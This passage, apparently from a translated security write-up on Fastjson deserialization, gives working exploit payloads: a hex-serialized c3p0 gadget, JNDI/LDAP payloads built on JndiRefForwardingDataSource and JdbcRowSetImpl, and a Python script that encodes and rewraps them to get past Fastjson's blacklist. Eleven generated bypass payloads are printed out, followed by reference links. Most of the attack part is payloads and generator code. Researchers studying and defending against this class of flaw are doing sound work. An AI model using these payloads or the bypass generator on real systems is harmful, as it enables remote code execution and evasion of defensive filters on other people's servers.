    "userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
  }
}

payload7:
{
  "rand1": {
    "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
    "jndiName": "ldap://localhost:1389/Object",
    "loginTimeout": 0
  }
}

...There are still a lot of it

Here's a small script that takes the underlying payload out of various bypassing distortions and adds \u, \x encoding:

#!usr/bin/env python  
#-*- coding:utf-8 -*-
""" 
@author: longofo
@file: fastjson_fuzz.py 
@time: 2020/05/07 
"""
import json
from json import JSONDecodeError

class FastJsonPayload:
    def __init__(self, base_payload):
        try:
            json.loads(base_payload)
        except JSONDecodeError as ex:
            raise ex
        self.base_payload = base_payload

    def gen_common(self, payload, func):
        tmp_payload = json.loads(payload)
        dct_objs = [tmp_payload]

        while len(dct_objs) > 0:
            tmp_objs = []
            for dct_obj in dct_objs:
                for key in dct_obj:
                    if key == "@type":
                        dct_obj[key] = func(dct_obj[key])

                    if type(dct_obj[key]) == dict:
                        tmp_objs.append(dct_obj[key])
            dct_objs = tmp_objs
        return json.dumps(tmp_payload)

    #Add L to the value of @type; payload at the end
    def gen_payload1(self, payload: str):
        return self.gen_common(payload, lambda v: "L" + v + ";")

    #Add the beginning of LL to the value of @type, and payload at the end of
    def gen_payload2(self, payload: str):
        return self.gen_common(payload, lambda v: "LL" + v + ";;")

    #value for @type\u
    def gen_payload3(self, payload: str):
        return self.gen_common(payload,
                               lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

    #value \x for @type
    def gen_payload4(self, payload: str):
        return self.gen_common(payload,
                               lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

    #Generate cache to bypass payload
    def gen_payload5(self, payload: str):
        cache_payload = {
            "rand1": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
            }
        }
        cache_payload["rand2"] = json.loads(payload)
        return json.dumps(cache_payload)

    def gen(self):
        payloads = []

        payload1 = self.gen_payload1(self.base_payload)
        yield payload1

        payload2 = self.gen_payload2(self.base_payload)
        yield payload2

        payload3 = self.gen_payload3(self.base_payload)
        yield payload3

        payload4 = self.gen_payload4(self.base_payload)
        yield payload4

        payload5 = self.gen_payload5(self.base_payload)
        yield payload5

        payloads.append(payload1)
        payloads.append(payload2)
        payloads.append(payload5)

        for payload in payloads:
            yield self.gen_payload3(payload)
            yield self.gen_payload4(payload)

if __name__ == '__main__':
    fjp = FastJsonPayload('''{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}''')

    for payload in fjp.gen():
        print(payload)
        print()

For example, the JdbcRowSetImpl result:

{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}

{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}

Some masters also scan maven repository packages to find malicious use classes that match jackson and fastjson, most of which seem to be looking for jndi-type vulnerabilities.For the blacklist, you can see this project, running to version 1.2.62, most of the blacklists came out, but many of them are packages, which kind of packages have to be found one by one.

Reference Links

https://paper.seebug.org/994/#0x03
https://paper.seebug.org/1155/
https://paper.seebug.org/994/
https://paper.seebug.org/292/
https://paper.seebug.org/636/
https://www.anquanke.com/post/id/182140#h2-1
https://github.com/LeadroyaL/fastjson-blacklist
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
https://xz.aliyun.com/t/7027#toc-4
https://zhuanlan.zhihu.com/p/99075925
...
Too many, thank you for your hard work.

Topics: Java JSON Apache Attribute